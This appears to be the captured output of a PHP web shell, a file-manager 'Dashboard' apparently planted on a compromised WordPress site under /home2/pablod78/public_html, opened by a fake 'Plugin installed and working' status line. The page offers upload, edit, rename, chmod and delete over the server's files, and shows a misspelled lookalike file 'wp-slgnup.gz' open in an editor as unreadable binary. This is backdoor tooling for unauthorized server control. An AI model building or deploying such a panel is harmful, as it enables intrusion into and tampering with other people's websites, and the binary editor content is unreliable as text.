{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-20 11:21:42"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2">home2</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78">pablod78</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html">public_html</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: wp-slgnup.gz</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/home2/pablod78/public_html/wp-slgnup.gz">
                    <textarea name="edit_content">� �[j��Z{�G����cd)����y��K���c��k;�,�B�pb2�e��ի{z��r���LwU�����w������A&lt;}��͇~�x^U��o�6�:C��C��첰��������*y
[6U�X�ц]�&#039;j��t��l��~2TI��7��|R�a��l�������s����x[.7����,�o�~&#039;��ܘ��:�wD��z�3P%� �bS�M�fc�)�ή�/�`�9�\���v5��*XlF�E�e�S��wf�{��U�,~3e�������/ Rr&gt;T-�&quot;@.��o
@#��?��&lt;�%�w&gt;��c`����v��|�&gt;�J3�J��ZJ�T�:~��X��6��H#M�O4yO(�q��S(w�@msV�f&lt;��vH��G�Pe ͺ�t=�z�х��KKSm�U�PM�W�6xZ&gt;ʹ�p����	p�̨,�3Y�f=��[C��P�`�J���I=�tF��%3���:�o�~�����5J�W8&#039;�Ae�bU�MtH״tD$�)`�Dw)釶��aӨ��u=�~��̛��hK��l�^fz�@&quot;�a�&quot;�I���U:$��A��%�� O�̺���Bz�5�G�?�-�fdv�b�T�������H��w=&#039;��Ǵ��3,�3�g�to���|2�kyW�d�k�!�aA��3-�B1!��lJ��=��ƕ����Q&amp;ͺGi~�Bz_.@�g�C�?��İ7�p:�g�T�͓M��}��rd3xzo zױ�B1����~V��a���b9�l�箍X�9R�� ��?B-̇�K�M�Qx�f�����9�B�K�t�txJ�0�F������k���.n���(8J2�8���p:�[��v&#039;�P����|J��LB�����&quot;&lt;��L�e�ݽ��ۗ?��~#�}�,�ڽ����|r��oA�6Qɲ�h�{�s���T�m�E����fc�FK#�V��N8�af����&lt;��E�5��������9J�J��8K&lt;,�V$�L�JI���&amp;�X�,$�D�S��Q|�89jX�K�u�����Q%�,k3L��
Ո/C�i
L�c#=��7_gq	J�?͚eV������Ȭ�+�QdfJSZ���u��~�ed)�����e�_B4ʒ�H�q�� ��s[���I���%E�)�|��XHX$�{��C�EUnMCw&lt;ꋜݪ�l�g�XmGbWک�~CJ��bD$db�:B��ϵ��,ʹ��� �Xlp�/)�^(�C����=�&gt;(��_���3�_W�q ֱ��b�(k:g���F�Ǯ���)Y��܌!�aً5ٖT[T�rjðA�I%���2�Q�6R�J3%#���`B�#y�t)��}���@g�`T��r&lt;1�`����� r��{m��m�L�Mt跿&#039;��
��1���cA��*:,��U��bO-�E�����@ZJ��(�*W�2��4&amp;�2*j ��WZ�F��C���6�: t�p��_~:�߭�L(�b5i�����i��99�SFD\��/*���zELcTzn����}ق���m{8l�N&lt;ʭT�ƒG���tjiv85I��G��F�a��n�o;���cEw&amp;,ߩfI8�H��غuȟTHb)]i�3RY͹����P�h�S)mQM}�ĥ�,��]�RO��&#039;���2�]ҌQ�`OM��uvi�;�4�����!�-�����:R��R����	-�S�&#039;È0d��m�u:-��O�F9�P�� #g������!�g5T69�*���-�_F��s��4{KY�qr�m��l��V&#039;.$�+���t͌[갮K�=UD�M].!��
�&amp;S�9�_����v���O91�0e��=p�P[*ۦ�Mu��N4�ș��s`��_���Wϑ{26@f��v6[��Q��3����x��.��Z;(*w����I1B����.��5�zcԝ��B�N��;#�pv�#�	P-V����:�ɼ&lt;{�����/-��{s�������M��E9K�Y+�X�����N��ò\�A�G�e�1��6��־�-��,���}\v$\�HX&quot;[s�uL��=~��8��JG.�Ikd��g��6_k)�B�*��{(|`���R��V��xm^��~/!����B��H4�g_t �b�x�?&quot;�ӥm��x�2G {�A�$9�w�{��$�JԽ�&lt;���/���ȆO�7��ǐ}^Ѵ�@���4�@l�
ciK�zr���0t��c&quot;w�=p�]�^ˇ�ԔVy�O?�S�e���3���|�g��ě[D)Wݐ�RW����[�.�����ۯxiE�������}��K3ǀ{� +�,Tv&#039;L��i�&gt;��H	׍�(�&amp;��#�ؕ�R��1�lX0AZ��&gt;�/��t�h���P$�CÊjE&amp;1e��Q�Ĉ�����Z��ǒE��E��=s���XS��#�聣�쫌E�5:�T[Y	��և���D[�-S�����lK9G�D�t}����kىn����Nz�}�}&lt;(&lt;�qhhӺmV��aɔE�����ZP�v\@�K��lsdd� e���{v 9����b�Z�L�:�\;��Nhtk��Ws`,�����AE��9��8p���Ў{(�˼MBC9phX��:| ��C0�6�h��k�������X�oX��x��;΁3Xf|qq.�Q��q�����&lt;�UY�,��8�R*���]�M�4���#���\[�&lt;(y�iZݻ�~���.��u��aoY���1޳����w����&quot;  </textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/home2/pablod78/public_html';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>